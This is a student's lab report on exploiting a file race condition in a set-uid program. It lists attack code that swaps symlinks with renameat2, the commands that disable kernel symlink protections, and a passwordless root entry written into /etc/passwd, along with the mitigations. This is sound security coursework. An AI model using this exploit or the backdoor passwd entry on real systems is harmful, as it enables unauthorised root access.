

Carlos Reyes

CS: 574

11/11/2024

Lab 4: Race Condition

Task 1:

In this task we look for our target file we would like to change in our race condition. It seems that the best candidate is the `/etc/passwd` file that has the entries for all users along with ids. The root privilege is gained by having id of 0 so we create an entry in our `/etc/passwd` file to be able to access a user with root privileges. We give it an id of zero and we insert a hash password for the program not to look for the hash in the shadow file. This hash is a magic value for a password less account this way we don't have to enter a password when switching user.

```
[11/08/24]seed@VM:~/.../Labsetup$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.1 LTS
Release:       20.04
Codename:      focal
[11/08/24]seed@VM:~/.../Labsetup$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[11/08/24]seed@VM:~/.../Labsetup$ sudo sysctl fs.protected_regular=0
fs.protected_regular = 0
[11/08/24]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
sysctl: cannot stat /proc/sys/kernel/yama/protected_sticky_symlinks: No such file or directory
[11/08/24]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
sysctl: cannot stat /proc/sys/kernel/yama/protected_sticky_symlinks: No such file or directory
[11/08/24]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[11/08/24]seed@VM:~/.../Labsetup$ sudo chown root vulp
[11/08/24]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
[11/08/24]seed@VM:~/.../Labsetup$ ls
target_process.sh  vulp.c
[11/08/24]seed@VM:~/.../Labsetup$ ls
target_process.sh  vulp.c
[11/08/24]seed@VM:~/.../Labsetup$ ls etc/passwd
ls: cannot access 'etc/passwd': No such file or directory
[11/08/24]seed@VM:~/.../Labsetup$ sudo ls etc/passwd
ls: cannot access 'etc/passwd': No such file or directory
[11/08/24]seed@VM:~/.../Labsetup$ sudo ls /etc/passwd
/etc/passwd
[11/08/24]seed@VM:~/.../Labsetup$ sudo vim /etc/passwd
[11/08/24]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/Desktop/CarlosReyes/race_lab/Labsetup# id
id=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/Desktop/CarlosReyes/race_lab/Labsetup#
```

Task 2:

In this task we are running our attack

2a.

In this part of our attack, we are simulating a slow vulnerable program which sleep for 10 second before opening the file. This gives us a big window to work with. We start of by manually on our terminal setting our symbolic link to `/dev/null` which can be access with write by seed so access will pass. Right after that we have 10 seconds to set the symbolic link to `/etc/passwd` to open. This works and we can successfully exploit this race condition.

1

In this task we are trying to fix the issue with our /tmp/XYZ turning root owned and not being able to be linked by seed. This issue is caused by a race condition that is an effect of our vulnerable program. When we run our attack and unlink our /tmp/XYZ file if by chance our vulnerable program tries to open the file before we can link it to our etc/passwd file the open function will see that there is no file with that name. It will create it since the set-uid program is running with root privileges it will create that file with root owner. When we try to symlink we cant as seed in this case. The problem here is that linking and unlinking is not an atomic process. We can fix our issue by creating two symbolic links first one pointing to /dev/null and another pointing to /etc/passwd and using renameat2. This function is atomic and switches what this two symbolic links point to at the same time so no window is created for the race condition to happen in our program.

```
/home/seed/Desktop/CarlosReyes/race_lab/Labsetup
[11/09/24]seed@VM:~/.../Labsetup$ cat attack.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    while(1){
        syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
        usleep(100000);
    }
    return 0;
}

[11/09/24]seed@VM:~/.../Labsetup$ pwd
/home/seed/Desktop/CarlosReyes/race_lab/Labsetup
[11/09/24]seed@VM:~/.../Labsetup$
```

```
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125:::nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134:::nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/ssh:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh

test:U6aMy0wojraho:0:0:test:/root:/bin/bash[11/09/24]seed@VM:~/.../Labsetup$
[11/09/24]seed@VM:~/.../Labsetup$
[11/09/24]seed@VM:~/.../Labsetup$
[11/09/24]seed@VM:~/.../Labsetup$ su test
Password:
root@VM:/home/seed/Desktop/CarlosReyes/race_lab/Labsetup# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:/home/seed/Desktop/CarlosReyes/race_lab/Labsetup#
```

In this case our attack would fail. We use the principle of least privilege to take away the “powers” meaning root privileges. This is done by setting in the root owned set

uid program the euid of the program to the real user id after completing the task where the race condition window would be at with only the real user id. We can set back the effective user id to the euid from the start after for other tasks that need to be done with root privileges.

[illegible]

Task 3B:

The way this works is that under certain conditions in the tmp folder the program doesn't let following a symbolic link in this folder. The conditions vary but in ours if the follower of the link is root = euid and the folder owner is root and the symbolic link owner is seed then under that condition you cannot open the file. If we set the counter measure on, we are denied permission to open the file.

